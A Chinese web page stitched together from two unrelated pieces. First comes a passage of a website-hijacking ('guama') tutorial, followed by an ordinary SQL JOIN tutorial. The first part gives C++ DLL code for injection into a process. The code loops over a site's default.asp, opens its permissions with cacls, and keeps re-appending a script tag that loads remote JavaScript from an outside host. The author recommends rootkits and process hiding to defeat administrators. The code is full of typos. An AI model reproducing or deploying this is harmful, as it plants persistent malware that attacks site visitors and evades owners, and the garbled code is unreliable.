我的技术不足,就不知道怎么利用AIP函数来操作权限设置,无奈之下,只好在程序工程中用命令来代替了,这里把代码贴出来:
------------------------------------------------------------------------------------------------------------------------------------------------
#include "stdafx.h" #include"process.h" #include"windows.h" #include"string.h" #include"iostream.h" #include"fstream.h" char path2[256]="E:\\website\\default.asp"; char guama[256]="\n<scripc language=javascript src='http://http://www.c3389.com/ADMIN/LDJT/tg.js'></script>"; BOOL APIENTRY DIIMain( HANDLE hModule, DWORD uI_reason_for_call, ) { switch ( ul_reason_for_call ) { case DLL_PROCESS_ATTACH: { while(1) { ifrstream ifs(path2): char DileContent[5000]; memset(FileContent,0,5000);//初始化 FileContent ifs.read(FileContent,5000);//读取数据 ifs.close( )://关闭ifstream对象 if(strstr(FileContent,guama)==0) { char path[256]="E:\\website\\\\default.asp"; char mingling[256]="cacls"; strcat(mingling.path1); char ps[25]="/T /E /C /G everyone:F"; strcat(mingling.ps); char mingling1[256]="cacls "; strcat(mingling.path1); char pa[30]="/T /E /C /G administrator:F"; stcat(mingling1.pa); system(mingling); system(mingling1); SetFileAttributes(path2.GetFileAttributes(path1) & ~FILR_ATTRIBUTE_READONLY); ofstream outfile; outfile.open(path2,ios: :app); if (!outfile) { exit(o); } outfile<<guama; outfile.close( ); } Sleep(9000); } } default; return TRUE; } return TRUE; } -----------------------------------------------------------------------------------------------------------------------------------------------------
没有基础的朋友不要紧,只要安装个VC++6.0,然后建立一个EXE工程或DLL工程,主要代码就在里面了。我贴出来的是DLL工程代码,因为我有个插入进程的EXE程序,可以吧DLL插进去。不然很容易被管理员结束进程,从而导致无法监控。
当然,选择EXE工程的朋友,网上已经有些工具,能让京城隐藏、无法删除,或者rootkit等,大家喜欢怎么弄就怎么弄啦,只要把程序里3处地方进行修改即可。
----------------------------------------------------------------------------------------------------------------------------------------------------
char path2[256]="E:\\website\\default.asp";
char path1[256]="E:\\website\\default.asp";
char guama[256]"n<script language=javasceript src'=http://www.c3389.com/ADMIN/LDJT/tg.js'></script>";
-----------------------------------------------------------------------------------------------------------------------------------------------------
上面这段代码的前面两个都是我们需要监控的代码,第三个就是要插入的挂马语句代码,最终编译一下就OK了。其实这个办法只是为了让管理员郁闷而已,因为管理员每次都能检查到,几天后管理员肯定重装系统,如果你要折磨他的话……
这部分可能对于真正挂马菜鸟来说是有难度,毕竟是我的少部分心得而已,还是建议先把前面大家都学会的学号,呵呵!
五,最后总结
我 记得某期rabbitsafe兄弟写了一篇屏蔽iframe挂马的文章,其实以前管理员也是这么对我的,这东西还不错,要是配上我的组件封包这样调用,那 效果更佳了。为什么呢?因为管理员把iframe标签当成是测品,我们挂马的人碰到那样屏蔽的代码也和管理员一样,看见了就测,所以攻防永远是个永恒的话 题。呵呵,希望管理员能利用上ASP封包组件来调用屏蔽IFRAME,这样能更大的程度上保护网站的访问用户。
sql语句的join用法
sql的join分为三种,内连接、外连接、交叉连接。
以下先建2张表,插入一些数据,后续理解起来更方便一些。
create table emp(empno int, name char(20),depart int);
create table depart(dpno int,dpname char(20));
insert into emp values (1,'bell',1);
insert into emp values (2,'smith',2);
insert into emp values (3,'jet',3);
insert into depart values (1,'design');
insert into depart values (2,'database');
insert into depart values (4,'warehouse');
1. 内连接inner join 仅列出两表能按照join条件连接起来的信息,其他的信息不显示
select a.*,b.* from emp a inner join depart b on a.depart=b.dpno;
empno name depart dpno dpname
----------------------------------------------------------------------
1 bell 1 1 design
2 smith 2 2 database
和如下语句得到的信息是一样的:
select a.*,b.* from emp a,depart b where a.depart=b.dpno;
2. 外连接outer join
(1)左外连接left outer join = left join 显示左表的所有记录,右表符合join条件的信息显示,不符合的置空。
select a.*,b.* from emp a left join depart b on a.depart=b.dpno;
empno name depart dpno dpname
----------------------------------------------------------------------
1 bell 1 1 design
2 smith 2 2 database
3 jet 3
(2)右外连接right outer join = right join 和left join相反,显示右表的所有记录,左表符合join条件的信息显示,不符合的置空。
select a.*,b.* from emp a right join depart b on a.depart=b.dpno;
empno name depart dpno dpname
----------------------------------------------------------------------
1 bell 1 1 design
2 smith 2 2 database
4 warehouse
(3)全外连接full outer join = full join ,左右两表的信息都全部显示,符合join条件的信息显示,不符合的置空。
select a.*,b.* from emp a full join depart b on a.depart=b.dpno;
empno name depart dpno dpname
----------------------------------------------------------------------
1 bell 1 1 design
2 smith 2 2 database
4 warehouse
3 jet 3
3.交叉连接,也即生成两表的笛卡尔积。得到的记录相当于两表记录的乘积。
select a.*,b.* from emp a cross join depart b ;
empno name depart dpno dpname
----------------------------------------------------------------------
1 bell 1 1 design
2 smith 2 1 design
3 jet 3 1 design
1 bell 1 2 database
2 smith 2 2 database
3 jet 3 2 database
1 bell 1 4 warehouse
2 smith 2 4 warehouse
3 jet 3 4 warehouse
相当于如下语句:
select a.*,b.* from emp a,depart b;
需要注意的是交叉连接后只能跟where,不可以跟on。
如下语句是错的:
select a.*,b.* from emp a cross join depart b on a.depart=b.dpno;
要修改为这样的才正确:
select a.*,b.* from emp a cross join depart b where a.depart=b.dpno;
一般来讲,在大表关联的时候,建议使用inner join或者left join,不建议使用cross join或者where
比如:
select a.*,b.* from emp a,depart b where a.depart=b.dpno ; A ---不推荐
select a.*,b.* from emp a cross join depart b where a.depart=b.dpno ; B ---不推荐
select a.*,b.* from emp a inner join depart b on a.depart = b.dpno; C ----推荐
这是因为A,B中,sql需要先对两表生成笛卡尔积,然后才根据where后的条件进行判断,而使用C则不需要。所以C较有效率
摘自 猫叔的口粮